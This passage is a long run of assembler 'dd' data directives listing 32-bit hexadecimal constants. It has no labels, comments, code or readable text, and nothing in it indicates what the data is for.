dd 0E9E60C39h, 9C137451h, 0D85344F3h, 48EF5E0Bh, 0A05B2A3h
dd 16BB9ACDh, 63C4ED01h, 457195B3h, 49D9D9CFh, 0CCD32F6Fh
dd 8D6E3493h, 0B1EB19DBh, 0E024737Ah, 0E76B7C9Ch, 0DB865C24h
dd 343DA46Eh, 2329BA90h, 0EE28534h, 5129EE5Eh, 4778E9EBh
dd 0A1F4D90Ah, 870B2CB6h, 8BB102ECh, 0F4CD3C76h, 0FF177DA9h
dd 0C9A76EDEh, 0FAD7A6Eh, 2A6EB9B0h, 3D9582DAh, 51D19C62h
dd 1E54FF9Ah, 5587CB0Fh, 0BE2CD16Eh, 0B84634A8h, 93910216h
dd 0DE1F3C2Eh, 917847C5h, 0F8CB0750h, 2B37C374h, 0FAF96F1h
dd 1FD28A1Fh, 692581B3h, 43BDD4C7h, 41CEE610h, 0D2403F91h
dd 0B5B83CE0h, 87C7167Dh, 0E57F64B0h, 0EB915AD9h, 0DB22631Ah
dd 69AEA3h, 0D8EB12Fh, 2108F61h, 7ED9BAD4h, 0A5D3F55Ah
dd 9262DFE2h, 8C213D73h, 0AEC7F495h, 42E67BD0h, 0C89D5BC8h
dd 0AAD1D822h, 7AC1AC2Dh, 9A56D3B8h, 7871BB16h, 0F14072DCh
dd 74B65991h, 0DEBDAB10h, 0CB3FF163h, 0E79B572Eh, 9E1C3973h
dd 0DEE988FDh, 0F4D3C1DDh, 0E8086F46h, 0AAA23ED9h, 0E58DCB5Eh
dd 0ED94E1FAh, 12D1B97Ah, 0E7975DF1h, 3812645h, 19E045B6h
dd 82FB5F16h, 0FC3571EAh, 0C78CCF3Bh, 0F9EB5D64h, 82922F8Eh
dd 5A859D4Ah, 8CD01C48h, 8323E5C8h, 0C8CAAF88h, 0B55861AFh
dd 9EF74C42h, 8F488F7Dh, 33899807h, 8BC0866Dh, 9E95B6ECh
dd 5C1B75C6h, 0C1C93FEEh, 0D7A7BBAEh, 1E3D811Ch, 8CBFDAEh
dd 48E3956Eh, 46E3C1E2h, 0CE8F43B8h, 1F130647h, 0EA27B979h
dd 73AE5E4Ah, 0B6733DB5h, 0CCD4A8FEh, 0DA0C4C25h, 875FC927h
dd 7EA07E84h, 13939576h, 0D53AC8EDh, 0FE423A48h, 5B9D5B4Eh
dd 0E8538741h, 7DFA9FA4h, 1124F6FDh, 0AE151D02h, 69C4BA3Bh
dd 4051CF0Ch, 0E7E81E15h, 16D33DC5h, 36C4001Eh, 0DA21A7DDh
dd 3B00465Bh, 0E09FD6A3h, 30B66596h, 5045F28h, 9C673801h
dd 49C3DF78h, 9A1EB691h, 0E771C7FAh, 0F9C49D62h, 0E8CCBF7h
dd 0DEDC7DD6h, 0FD525053h, 24E28255h, 0E60D5BE0h, 0E406ECE3h
dd 0A141170Fh, 39A943Bh, 0EFF52356h, 29472h, 0FFD68EADh
dd 7C97CF08h, 0E9798FB7h, 3805BB1Bh, 0C653EA64h, 0D4871CC2h
dd 0B3C56398h, 9BE898F7h, 65130FDCh, 0B7C1B427h, 14FD3B10h
dd 582FED13h, 0B662E79Eh, 81789F1Eh, 1E0588B4h, 0B534858Bh
dd 0CA59A442h, 0DC0D51DEh, 0EC97A80Dh, 88529576h, 0E0BC1784h
dd 7D718303h, 27A6334Dh, 70FC9503h, 721DEA6Ch, 99FEC3C2h
dd 26DDA4E0h, 6D684F89h, 0D201473Ch, 95E04B2h, 0FEA568ADh
dd 0AF57986Dh, 0D66A1FACh, 0B347393Eh, 561D7274h, 60175C4Eh
dd 5651F726h, 142E8DEAh, 54105C58h, 4B63A508h, 0FEBDC270h
dd 0EC97606Eh, 6E6D1190h, 98CB0D9Ah, 0B2F37522h, 32EAC685h
dd 6DD5C396h, 742468CFh, 5B09FFDDh, 4DE5FBEBh, 36D5AA7Ah
dd 9A5BBDEEh, 0DCB3C2BBh, 71D96932h, 0DE7E770Eh, 0A1877D02h
dd 450E2F2Ch, 4E17E53Eh, 0F372DB60h, 787BD21Ch, 660102CDh
dd 748B7A64h, 3E1F6743h, 868414F4h, 0D413CA83h, 795E71CAh
dd 0C00D7E70h, 969D88F1h, 159C37F4h, 3EB89B06h, 0F9C8BB5Ch
dd 23F4F2h, 7039BCE7h, 87A4F83Ah, 967DEBD0h, 8ADB1D0Eh
dd 0CC2BF2CBh, 40BE7982h, 9E951160h, 0B8575139h, 75DBAA63h
dd 0A3F4D16Ah, 6642F945h, 0C19A0AEh, 288F1704h, 0BF49A897h
dd 0DEF0C735h, 6D5AB616h, 0EA096F79h, 0DA26024Ah, 66C9C9DFh
dd 0B934A5F1h, 0D68EC754h, 645FD822h, 0B0FCD08h, 2E13C376h
dd 2BED903Ch, 0BCC7B19Bh, 27E86B4Eh, 0B845DC88h, 0F79639EDh
dd 52608240h, 854A229Eh, 40896478h, 0A5EA995Dh, 7C28EB7Fh
dd 0C7D6A240h, 18940811h, 0B7ACA7F4h, 0C4EFA7C9h, 0D23D5342h
dd 0A0336586h, 801C800Fh, 0A1670105h, 0B63D2B9Ch, 4824B861h
dd 0D398D7C4h, 0F5CFE9A2h, 47F7D346h, 85869A80h, 0B9D9AFACh
dd 0F01B49CCh, 7F8954EDh, 0C4EB6DBEh, 3EB27234h, 211023CEh
dd 0BEF533C4h, 7073C88Bh, 4B14FFDCh, 9F3943Dh, 3661274Fh
dd 56BAE1FBh, 0B6F9979Bh, 551E3CB6h, 0D4B560E6h, 0E8D65A59h
dd 9A86480Ah, 0BC6D10A5h, 0B1AD3B27h, 0CDF49F3Ch, 72F1D91Eh
dd 54EF3921h, 17FDC3B8h, 74F3A546h, 0A627C873h, 0DC433095h
dd 0C9E7FEAFh, 48DE7D3Eh, 6B0221F0h, 8BCBACEBh, 2634C328h
dd 0E0C3D796h, 2ACFBE3Dh, 33691435h, 0B3409BB0h, 38BBB6E1h
dd 86C87484h, 0B58D09E3h, 0AC208C59h, 171315D8h, 3F163BB8h
dd 0BC570F3Ch, 0DB9D0808h, 68EBC839h, 68920E25h, 0EB2EE383h
dd 2AF65C6Bh, 0E6A0C9h, 10A15F8h, 0E724B1E1h, 0B512BC3h
dd 88D6CE2Bh, 0BE1BAC74h, 0CF7F39D3h, 5ED4DB22h, 5B4BE606h
dd 0C1829F17h, 68863749h, 0C35FEC15h, 0F989305h, 2E7A044Bh
dd 0A49BE275h, 0DF6569ACh, 5F7C7F04h, 0AA67C9B9h, 16BA4A8Ah
dd 0E58DCB5Eh, 0B740E1FAh, 0D5C66E17h, 0CC9FF375h, 3D3A3AC8h
dd 969C1665h, 0B8E80828h, 954A2D9Fh, 0E5B279D3h, 0F4CF7B61h
dd 267F5EB3h, 89CBE2Dh, 1C37965Bh, 56579B93h, 738AFD29h
dd 690BCF45h, 0A941CBF8h, 0D8F9282Ch, 95130660h, 0EB770DF7h
dd 9C95671Bh, 0CF2325C6h, 3AC83F9Ch, 35DFBE08h, 414C5BDh
dd 64BA9ACDh, 0CC8EF65h, 7A0FC592h, 0EEAE00F1h, 9829217Eh
dd 9B6A1D95h, 0C9A45440h, 0EC253B72h, 986564B1h, 20E8B172h
dd 3155AC46h, 7E35F360h, 0FD12D866h, 2A798191h, 29B0345Ch
dd 299D4B60h, 0F845235Bh, 9D39B6A4h, 8AC53576h, 90339653h
dd 0ECBA35A6h, 70CCE130h, 9329608Ch, 8BCE8E5Dh, 874B7A3h
dd 30572CF4h, 61991C05h, 0E6E5D6A5h, 75BC6596h, 8A99478Ah
dd 662198C0h, 4DC3651Ch, 87793CDFh, 4399872Fh, 0F7301659h
dd 0AADA704h, 28EBD1A3h, 69D9AFACh, 8899024Ch, 190D17ACh
dd 0E8D5E72Bh, 0E6810C14h, 0A6758AFFh, 8C60CC1Bh, 0AF53D518h
dd 0FDC14C2Ch, 94780EA4h, 165D8B3Bh, 7778DBDDh, 86BFE42Bh
dd 2B6F058Eh, 0FEFBE90Dh, 7EDF9D76h, 9891F033h, 5328DE5Ch
dd 56BFE58Dh, 0D5C2FEDEh, 62A30F31h, 55EEA812h, 4F44C3B9h
dd 0B6665A17h, 2249AF22h, 0DC2751F1h, 0A4B83805h, 0CC754F1Dh
dd 5D315BC8h, 0A4B1A3F7h, 4E6F2B38h, 13B4D596h, 14F09D1Ch
dd 0C36E7BEh, 145864F0h, 0B1ABBD40h, 0C23F7D51h, 69EE56B2h
dd 0EEAC0E85h, 0D0968CE6h, 0FBE90F83h, 82CDA4E5h, 3E8ECBE0h
dd 68FBDD4Ah, 1BDB42A9h, 99768992h, 3EBA85E5h, 35A15D36h
dd 1D5FB073h, 0FC890CEFh, 53D7BC0h, 88D5623Bh, 272C2774h
dd 446F27FFh, 5FBF87F8h, 18E1E56Ch, 8A09FFDEh, 23CD0445h
dd 0F638AB00h, 4539C8B4h
dd 0F2EF37C9h, 0F2253B22h, 9048B675h, 0F6D71546h, 0E8087F7Ch
dd 73195475h, 99D5DB70h, 6854CBABh, 55444194h, 249F8933h
dd 3E75BF20h, 9F8012A6h, 0D89A143Fh, 0B04B35F4h, 1C48F4B0h
dd 3BBB0D30h, 4211308Ch, 0B55A4442h, 3745F300h, 3ED5487Bh
dd 27118F5Ch, 0C4A85EDFh, 0C62DBB8Ch, 91C50409h, 0DC35227Ah
dd 847335D6h, 0A01F8697h, 70F625D6h, 48FCBB93h, 3434D17Ah
dd 767DEBD5h, 11C44823h, 0AFE89714h, 2430BB5Fh, 3BE3ABB8h
dd 5DC0AAE9h, 0FA0950FAh, 9C730E4Ah, 274D1B22h, 0B82ABD12h
dd 53E99354h, 9B5FD933h, 6E0B051Dh, 80570466h, 7A699F3Dh
dd 3CAD6511h, 0C008B422h, 6D7B4DF1h, 8FA42E64h, 94BC816Ah
dd 490DCD8h, 0ABE32588h, 35044CEEh, 6C17F1F4h, 8360D235h
dd 185B936Dh, 30B458A4h, 41FFA96Dh, 57D15CE8h, 7B336587h
dd 8A02731Ch, 19E821C5h, 0B62D35FFh, 9DCB8A8h, 870D7D4h
dd 1ECE83A2h, 307C7Ah, 0A30385E9h, 0BED65054h, 0CCB7406Ah
dd 8D98D673h, 92EB7DA0h, 6D125504h, 0B421E767h, 0B135B648h
dd 505285A3h, 0E69452FCh, 0CD87E144h, 0EC616338h, 0BC536271h
dd 9C91B764h, 0E0E6AFE9h, 7B3A37BCh, 80B34BF4h, 84E3B241h
dd 0AD6621BAh, 0B95726E8h, 0DF9E4021h, 18E1F7AAh, 4AB9112h
dd 4D4793E8h, 0FF930B9h, 8EC4BF0Ch, 49AA45DEh, 0F6ED29B8h
dd 82ED727Eh, 0B615530Fh, 0B687C9A3h, 477C272h, 6389C794h
dd 72BDAB67h, 0CD78604Ah, 2D9C9340h, 0C7BB893Ah, 6F8C17E6h
dd 0E4CF66FAh, 0FEB56FE0h, 0A63D20E6h, 8AC73FC4h, 997D1134h
dd 6E33EED5h, 4883F836h, 485B8401h, 3461C0CDh, 0BB7AF458h
dd 0C0738B0Ch, 0DA958B0Dh, 0ECFD616Ah, 793E2C90h, 88F4070Bh
dd 222CAC74h, 2E7F29C7h, 35CE30A8h, 98E2E8CFh, 0A09FFD9h
dd 1683B49Ch, 0A342FC10h, 0C80B83D4h, 0B2FD93C7h, 0F32762C9h
dd 32503F8h, 0B09DB5EBh, 450A782Ch, 5C08CB1Fh, 184D5E60h
dd 30DE606Ah, 91C197ABh, 348A09D7h, 0B3F8B3C8h, 0D0C304E1h
dd 0EAC39157h, 354278Bh, 86E20D25h, 0A8439E0Eh, 0C980189Ah
dd 1C5A44BCh, 0DE45F327h, 758D07FBh, 3011EF5Ch, 4DA85ED0h
dd 0CFCEACF2h, 338A3AD3h, 0D9AEECDEh, 0CC82F45Ch, 6D950357h
dd 5B84A262h, 0DF366C25h, 5CB7EF80h, 630A5650h, 7CDAFDBEh
dd 5781FF2Eh, 0A1F0A9E2h, 0CEF57D12h, 0A104E896h, 8E196FFCh
dd 0E372C65Bh, 0A64D0B3Eh, 7E2B2DFEh, 42C080D1h, 6CB6D932h
dd 0B9CA0C76h, 8605E3h, 2A699F3Ch, 3805EC1Ah, 99974670h
dd 871433EEh, 0E4BE57CAh, 0F2C66522h, 0E12502BDh, 2D8A4196h
dd 35CDEF69h, 7282CAh, 679F9925h, 156AE86Ah, 120187FEh
dd 0E4B09972h, 0B338265Bh, 971317E3h, 0EFED0D3Dh, 966A3054h
dd 0D3514EC2h, 2DF74900h, 1B1DA4B7h, 4AE8182h, 6F85FA08h
dd 4523F1B8h, 59BCDFD4h, 0B8D9207Eh, 927E7BCCh, 918F03DFh
dd 0B27B607Ah, 0F31514DFh, 0D6964729h, 7034AB4Fh, 4A45B39Dh
dd 5CFE903Eh, 3639E551h, 405CF4E0h, 0A4B19B10h, 0B24F3BADh
dd 80A00AEAh, 0C9830612h, 0F31878ECh, 0A6DA1BDEh, 34C85357h
dd 2A6AEDBBh, 1D98C7D1h, 629FD567h, 7070FA9Ah, 10CCD622h
dd 0AF24D05Fh, 0A86E71DBh, 0D68E0270h, 0ED36145Ah, 0D67837A5h
dd 0D8AF5A45h, 6F00B759h, 65C8AF22h, 9722FC72h, 6A06B9A0h
dd 63A2BFBh, 0C8FE7E4Fh, 0E8AA1E83h, 8AFC7C24h, 0EE136721h
dd 0DCB1A44Eh, 0EADE4D8Eh, 107300Eh, 7EEDF9F6h, 3B54B491h
dd 0D5869B4Ah, 18BFFEF9h, 9D8572DBh, 65996F15h, 0CA9F5B9Fh
dd 8E0ECC2Dh, 0F4867E89h, 0D92707CFh, 1968AC71h, 447F39D2h
dd 5ED5D3A8h, 70B3E506h, 0A09FFDCh, 1CE791BAh, 36BDAB10h
dd 0C81BBDEEh, 0E2F15744h, 0F44F6922h, 8E2503F8h, 18269636h
dd 0BA593F6Eh, 0E8B6409h, 698DDB70h, 0F57FAE89h, 0A5CE9FC7h
dd 0F49C9F39h, 1A51F743h, 0A2DF078Dh, 0E2EB6465h, 0BE8C65A9h
dd 9A9F20A4h, 0EA038887h, 0C79837F4h, 54FF8BFEh, 0ACC6E6F3h
dd 61FA17DEh, 92F98B8Eh, 3C73FEAFh, 0C6495380h, 0F8E34D5Eh
dd 7F616734h, 941CF517h, 86AC4A68h, 70F029B2h, 0B53EDD98h
dd 4CE545FFh, 0AF8A28D0h, 2C8470ADh, 32529714h, 0BBF3D91Dh
dd 0CA0DC0B8h, 7DCAA3F4h, 0FA094C60h, 0F8F73BC9h, 0A57F3025h
dd 0F6A63D8Ch, 0CDA9FA8h, 105FE3B1h, 95070C8Ch, 0E17A65h
dd 0D596C8D4h, 17099A65h, 0C6DFF7FDh, 0A37805CEh, 75EB490h
dd 94BF4B9Ah, 0EC91A61Fh, 40E335A6h, 6651CF0Ch, 0E717E1EAh
dd 16AF6FC5h, 0EEE2651Eh, 2AC9580Bh, 47FFB952h, 0CE17C795h
dd 0F8466586h, 0AE81E2D5h, 8C112Ah, 0F4A9A66Fh, 0C7583D7Eh
dd 72334F41h, 0E05A60A2h, 0E6A5933Ah, 200395D5h, 0B11A669Fh
dd 0CCB7C199h, 0BE509E0h, 0FB149240h, 8203BB81h, 27C91AF2h
dd 0B1F53F32h, 5052C2A2h, 7A535CFCh, 8103FE5Ah, 9D5D8B30h
dd 0C06B91CCh, 3D6E49ACh, 96D3CCC1h, 28C66388h, 0ABFF26h
dd 830D0F35h, 0D8F9D82Ah, 0B7467B03h, 0D90A8555h, 0AD3E3855h
dd 404678CDh, 6B15DFA4h, 0F8D8FCAAh, 0C5B3469Fh, 0DC27E675h
dd 8E7C0D50h, 87694ED0h, 0A231BC01h, 8E0C7F62h, 0C560B638h
dd 6228C5DCh, 8B9AE5E7h, 0F205699Bh, 93CE645Fh, 38BBEFC2h
dd 0AAC1C279h, 605B5649h, 1B57308h, 8051B953h, 0FF014FBCh
dd 0BFB8CEE4h, 465F7775h, 0D47E524Eh, 151E766h, 977CAD86h
dd 0F5B6A198h, 236B0339h, 0FAF0CF9Eh, 0C8B3A039h, 0A27152C4h
dd 0C3EF01B7h, 3348CC34h, 0FFA83629h, 0DFEBA775h, 1EF64DFDh
dd 8B3F8B07h, 0BDDCC841h, 0B793DFEFh, 7D396B15h, 63D723E8h
dd 0ACA6FAD9h, 0F3B770Bh, 0F86A68ADh, 3B4F5BDFh, 69088771h
dd 0E783AF81h, 5D54DDC5h, 0EDC7F375h, 34DD01E7h, 4F9CE8C8h
dd 8E2CBA59h, 3BD9DFFh, 3F88F35h, 92B70873h, 5DF2F556h
dd 0D799C81Bh, 54FFEF7Bh, 76745B7Eh, 0E4E317F4h, 7C1B8D4Fh
dd 7451CB81h, 39D89568h, 0D049CEA1h, 0F70BB6B3h, 711E91CAh
dd 6415EC97h, 7856C5h, 734C3DCCh, 0F6A7C15Ch, 1E17CC3Bh
dd 0F25B57F6h, 92A9E207h, 0C10E41F3h, 0CF5DBC47h, 64435516h
dd 2B141B3Eh, 673DFFAAh, 1E48F0D6h, 382B2DFEh, 913E25FFh
dd 5DCF4CBFh, 0A91EF398h, 0E7505F91h, 3A501BB9h, 3CC7B19Ah
dd 16084460h, 1E70BD0Fh, 92E8F521h, 92DA0802h, 8B8C2EBEh
dd 0C515265Dh, 5AA9F68Eh, 0A1194E8h, 0EDC8CA4Dh, 1946EB1Ah
dd 0DA8AC1D1h, 3B0046EEh, 576110A3h, 0E071C913h, 7D4AD45Ch
dd 8C5E95BFh, 0B63D2B90h, 880E327Eh, 8ADB6BC0h, 8B30163Eh
dd 4C1516F1h, 0A5F595C6h, 3AC9962Eh, 0C3B3340Bh, 0CD0FB0D1h
dd 0F28C67Eh, 82788391h, 0A41F19F2h, 34D24758h, 406ABBA3h
dd 61C91EFCh, 390CFC3Ch, 0EEED2056h, 56BE1724h, 391A75Dh
dd 0B36A5222h, 45C3EAFCh, 2BC5B545h, 0FEC11D27h, 7D72425h
dd 7FD3BE8Ah, 0FCDCEh, 0D9F90775h, 903A3FD1h, 171583CFh
dd 0CC4380ADh, 722F9FF7h, 77415111h, 0F29772BBh, 7C529576h
dd 0A6BCE87Bh, 0BC6FE8B0h, 8EECC65Eh, 63287EF0h, 10337FDCh
dd 0FC9FD9D1h, 0A6326453h, 288C39FBh, 288141D4h, 60F02ABAh
dd 7607DAh, 6ED0712Ch, 542E6B76h, 429E45D0h, 0A811BF3Ah
dd 96F4A984h, 0B25E83EEh, 0A4E4627Bh, 0F53509DFh, 35D371DDh
dd 22898F67h, 1B54DD81h, 9654FF45h, 98EB0D9Eh, 0C7279774h
dd 0C97B3DD0h, 0FB5F2DE7h, 70A3DC7Ah, 0F68954BAh, 0ACE0E4BFh
dd 0C9F22B10h, 0AAF317AEh
dd 150EA8BBh, 0E476EDA7h, 8E6503F8h, 0C63B7356h, 0E5B5A1Dh
dd 0FC9CA7A3h, 1808D178h, 0B86BFD07h, 0FA6B8474h, 0DB60664Fh
dd 0BB823B78h, 0D0C37C22h, 0EAA9DF7Ch, 7AB773AFh, 0AFA1AE3Ah
dd 3DD1D1Eh, 3714CB64h, 0D4EF7945h, 0C4051C57h, 909E7835h
dd 0F2F99F75h, 0D3A85E27h, 0FFA93E77h, 0D88B4D4Eh, 0F1156334h
dd 73951922h, 8EAC97EDh, 0B07325C6h, 0F2CE4B8Ch, 5C4B5A2Fh
dd 0F38AA47Bh, 8CBC42Ah, 23B19707h, 34FF2DEDh, 265543B8h
dd 5DCAFEBCh, 0FA092D70h, 7309CDA2h, 0CA5ABDFh, 1896A455h
dd 0BA81D716h, 9BA0278Fh, 47B1767Fh, 10908576h, 301D9F3Ch
dd 543346Dh, 0D69D4B60h, 0E20F5CCEh, 7D2F594Ch, 6A34E1FDh
dd 47B5DC27h, 0C5689E1Ch, 5AA98D90h, 0A43C2E61h, 444946C9h
dd 50C28D0Eh, 56461F08h, 0F7548FADh, 29FE35E8h, 0E00AE103h
dd 8A897C5Ch, 6A74653Ah, 0A604A915h, 42EFBD6Eh, 9D8C7D2Ch
dd 8A94015Dh, 691D7C87h, 8B251CB2h, 91BF6F9Fh, 0F533C4FDh
dd 0E60E5BF0h, 0A29F6DBEh, 0ABC382E2h, 0D19F19E2h, 4374DB42h
dd 62BB3AD9h, 82D62002h, 83780C58h, 2B5AB80h, 0CBC46275h
dd 3D29D15Dh, 45C42FD7h, 6A50E833h, 77A3654Fh, 99BBF81Eh
dd 0D9D721AAh, 0BA71D314h, 47BB3221h, 8D1B095Ch, 0FB079FEDh
dd 8FBEF5FDh, 0BB3C2EEDh, 0DA0B1B99h, 55EF7AFAh, 730A9718h
dd 884B44AAh, 0A2311787h, 31781116h, 4E75FABCh, 6AC3D596h
dd 0FF6EC318h, 0C67B84Eh, 27CD9BA0h, 0FA43A70Bh, 3AFEB829h
dd 1B20A4F9h, 0C731F6FFh, 901305F6h, 0A09D17BCh, 43BA9DF2h
dd 0AB7C230Fh, 0ED0C22B1h, 241CEA0h, 142F8986h, 0B86DB42Ch
dd 789C4ACBh, 12C78FA5h, 2C9FD9C1h, 3EC67FB4h, 0FF20F5EBh
dd 4FDECFDFh, 0C188C62Dh, 5EC5EA2Ch, 70B3E50Eh, 0B7898DA9h
dd 1CF7A838h, 0DED4DF10h, 37E4408Bh, 0CBE97EFCh, 8AEA63EBh
dd 4E2513C1h, 58916B2h, 0BA491652h, 0B17C2921h, 0D73D249Fh
dd 0FAEE6794h, 0B8C197ADh, 0DB62A59Ah, 0BBC3BC37h, 0D0C37CD8h
dd 0EE695BF1h, 0F4E7B09Ah, 3DBB8600h, 0FF111CBEh, 0BDEC170Ch
dd 70D3E0BDh, 95A75B7Eh, 84A602AFh, 0AF99F75h, 5857A12Ah
dd 6C640B87h, 22FEF538h, 59078636h, 7BC3857Ah, 347DA397h
dd 39D8E5F5h, 5A8BB721h, 0D822267Ah, 567DFBE9h, 7DDBFDAEh
dd 0FC59C013h, 6EF0561Eh, 96558C33h, 65499F3Dh, 0FA095690h
dd 260B4BC3h, 59B1D3C8h, 39934B01h, 0D6043094h, 245FC90Bh
dd 0A35F388h, 38570565h, 13153A36h, 97A1B18Ah, 9411F6F9h
dd 1FD05DDEh, 92E8F321h, 94AF0902h, 1E0C5698h, 3C6637E6h
dd 0F0B9DF35h, 5593641Dh, 66DFB50h, 133E8D1Eh, 0B72B1F44h
dd 0C4EF802Fh, 0B868B882h, 72B543Eh, 9AB0FBD9h, 9C66113Ah
dd 63F5F90h, 353E3747h, 0A271C7FDh, 0D1C5EA46h, 0EB5BA05h
dd 98653EB0h, 0BF2E5F2Dh, 0CCA7788Eh, 0E60D59E0h, 305F6FCBh
dd 0AB3CA21Eh, 0F7919E2h, 0FC5D8EC1h, 0C0EBC536h, 0C129DFD5h
dd 450374ADh, 16558B20h, 594F9D8Eh, 3D6D978Ch, 50EABE3Dh
dd 0EEC573A1h, 0F5A37572h, 90C1BFC7h, 0BCEE5F2Fh, 0B469100h
dd 618F4829h, 7AE1E7A4h, 15CAF912h, 0FE962B8Eh, 98D004Ch
dd 612FBF0Ch, 378D91C9h, 0DF450D45h, 0F6FE7736h, 623107BDh
dd 11852A86h, 4E75FA46h, 0E5347EF0h, 7A89D6E8h, 0C7791CAh
dd 0E64C23C6h, 0FC2BAE0Ah, 0ACA44DDCh, 82DF498Bh, 7B037CA3h
dd 90033C64h, 5146F717h, 39B0CEE5h, 560DF274h, 28FBDD4Eh
dd 52E1F950h, 2D530C80h, 0C62FA348h, 3F9C4EA3h, 53C70001h
dd 0FCD5F1E7h, 2E88CC0h, 98CB1DA7h, 0C6212774h, 0EE9789DEh
dd 0EA685A03h, 9BB3F544h, 0F1E817D9h, 760F6E45h, 0C14254EBh
dd 0D822396Bh, 0E3F15744h, 44441C22h, 0F2A009B8h, 0A83056Fh
dd 23F20C7h, 0E93D0109h, 669DE21Ch, 79DB4658h, 9644703Eh
dd 249F894Bh, 4B75B1C8h, 5456B289h, 0EAA94F45h, 890775DAh
dd 9C1DBBAAh, 0B882638Bh, 0C1B4BDE4h, 95EFD97Bh, 0D623F3F8h
dd 0B0887490h, 0AAF1644Ch, 52D2AB6Ah, 6C2DABB9h, 0E10FC8A9h
dd 0F2616724h, 944A799Ah, 7616AB0Eh, 890E80CCh, 0E1AF3F8Ch
dd 544CD0CAh, 0F377A360h, 8CBC4D3h, 0D86E7FAEh, 0B1F8561Dh
dd 0CEF57A3Ch, 0E0535516h, 0DF6C1A5Dh, 7474B92Ch, 9F30BE2Ah
dd 134D2DEEh, 7B2B0767h, 741D498Fh, 0FAB00488h, 1093955Fh
dd 5F69BF3Ch, 0D7B00085h, 0DF252D6Bh, 95DE57D6h, 42D1679Dh
dd 31A50AE6h, 0AE151AA5h, 0FDCA9ED0h, 5AA98D9Ch, 0C99D2060h
dd 6FDB9D0h, 40FB2678h, 0B5D22F6h, 2C55B942h, 21AAA951h
dd 0C9B7E071h, 8A8A7F4Ch, 0B013103Ah, 8FB9AE67h, 489B3D7Eh
dd 4204DFC4h, 4D4B6C55h, 0EA58368h, 2A7696D6h, 0C5207144h
dd 36FCA9F5h, 0E6E5A41Fh, 10149244h, 6DBEFD55h, 9D9B9C05h
dd 0BEF53358h, 5827D526h, 8283164Ch, 83780B77h, 2FD90EC7h
dd 283B9D9Eh, 0E8E5B364h, 51454E72h, 0EED55AE4h, 8DB995B7h
dd 9A5D0745h, 95AB84A8h, 0A26D3B10h, 5CCF4DDDh, 8B1E0F1Fh
dd 650F06EDh, 0E7E27B42h, 88955AB9h, 6F435FE3h, 0DC376886h
dd 1015C036h, 7FA482D7h, 0B2089301h, 0B48F0962h, 0C521B738h
dd 0E84E5E51h, 5199FF2Eh, 0F036080Bh, 0A3C7C310h, 38BB9402h
dd 2BBEAF7Eh, 6128A64Dh, 0FEA54A8Ch, 905305E6h, 128F13C8h
dd 394DF24Ah, 560DF28Ch, 0D09DD7A5h, 0A75B17DBh, 143FB0FEh
dd 0B86D083Eh, 379C4ACFh, 0CA00CB09h, 0EC97626Ah, 0D320FC1h
dd 384E8651h, 99A13736h, 0B837B01Ah, 0DB221A9Bh, 70A3DC82h
dd 0A89FFDCh, 996A9FCFh, 36AD926Ch, 485BB564h, 1A8254BDh
dd 0B0826DAFh, 4F2513DCh, 2B331DB6h, 0DC5FCC87h, 2AF7F032h
dd 0E935BDCBh, 78D385BEh, 0F3C38794h, 8FC73214h, 38007A4Dh
dd 10E2FDC0h, 2919F41Ah, 52C9970h, 132AF44Fh, 0A8AB248Ah
dd 0C21137E4h, 9B64D336h, 2CF16693h, 0C808F5E6h, 0F205C7C5h
dd 0D3A85855h, 2E877830h, 2774B45Bh, 0CBF1E2B9h, 1C87982h
dd 9E852AECh, 907325C6h, 619E39E9h, 454C8982h, 5D55B85Bh
dd 830BD656h, 32F33F89h, 0BC9AA8E2h, 0CFE553FAh, 0C407DE2Fh
dd 92A4E6E8h, 7F7115Ah, 0B60F979Dh, 30AE06FEh, 0A581D716h
dd 74665DB7h, 7E35B388h, 0E791F166h, 2EAB34E4h, 0BF90E79Ah
dd 0C6DF8FCDh, 6C745DCEh, 82D1767Dh, 94AF04EAh, 0FC4068D8h
dd 73AF70F8h, 16FDE13Eh, 0F9E8E1A6h, 6FDC532h, 5A930897h
dd 0B972A7E4h, 1CFC850Ah, 557D20D7h, 0E9DB51C5h, 17680A9h
dd 8C25A9AFh, 0F43E7090h, 941EB462h, 6171C786h, 0F146E1E0h
dd 0EB5C198h, 0DF2BE65Dh, 3AD92F1Fh, 3845A90Ah, 5B86A41Fh
dd 0F8FB2F06h, 66A7EF42h, 3194E60Dh, 0BEE571F0h, 535B8FADh
dd 0A402D3B6h, 738218D9h, 165CEBB8h, 72BF928Eh, 0C191B765h
dd 0C42DF577h, 96706098h, 2CA36534h, 1F76E7F0h, 0ACD72108h
dd 6DA97D8Dh, 4849B55Bh, 22E7E4B4h, 0FB4B5AFAh, 0A6A81017h
dd 30F3B504h, 8D72B469h, 0C7A45EF6h, 1DFD6B51h, 30CE4422h
dd 0AD3107C6h, 0B48E24E7h, 36E0C038h, 6C3C5D4h, 5F66D7EDh
dd 0C8B04C5h, 66469BA0h, 0CE8867Ch, 2667AF84h, 59E6A64Dh
dd 0FEA531B0h, 90F780E9h, 2FEA1FBCh, 0BC5773A6h, 14654EF3h
dd 6870DD5Eh, 0D5DB00Fh, 142F4400h, 26C29858h, 0C0A73639h
dd 1ABA4F8Ch, 0F8D06268h, 0C415FEC3h, 0C8990D8Eh, 0F079928Bh
dd 0D18039C2h, 5EC5ED9Ah, 7F73605Ch, 0A094859h, 1C7B78BAh
dd 0C981AB10h, 0C88F38E1h
dd 0DC715744h, 7FCA6637h, 52503F8h, 0E3A81410h, 4FB17F18h
dd 75C83E79h, 76CF63DDh, 7B1C983Eh, 2833B11h, 5C1A9A72h
dd 0B775A38Ah, 0C091A123h, 0D1A9D47Ch, 0EC45AD5Fh, 0ADD579B0h
dd 0B8F9FD8Bh, 7F7845E4h, 24EFC942h, 71ADD46Ah, 8D23F5F6h
dd 0DB727302h, 6E54A301h, 22A88090h, 0AD8B5D1Ch, 0E2A5E438h
dd 0C0B0486Dh, 75F40F4Ch, 35FCE6DDh, 4AD97D04h, 24125A1Ah
dd 9E7DFB92h, 0F724093Dh, 22B13E65h, 3A7A29E2h, 0BCE90493h
dd 0E8046E1Fh, 525EDE3h, 83BEFEB5h, 59B3A9A5h, 9C17A601h
dd 7B0560D5h, 9BA0D932h, 3CDE0877h, 70B7CFE7h, 64899F3Ch
dd 304C71A9h, 1218CC54h, 617B4D8Ch, 9293B721h, 1C168402h
dd 0AD0523F1h, 50A14D33h, 0FF1CA90Ch, 6FD1CAA4h, 44C6EF02h
dd 0E30D4B12h, 61A0601Ch, 0C1FFB952h, 57555328h, 0AE6C99C0h
dd 1F76289Fh, 9C772F44h, 0B922C351h, 489A27EBh, 82587C4h
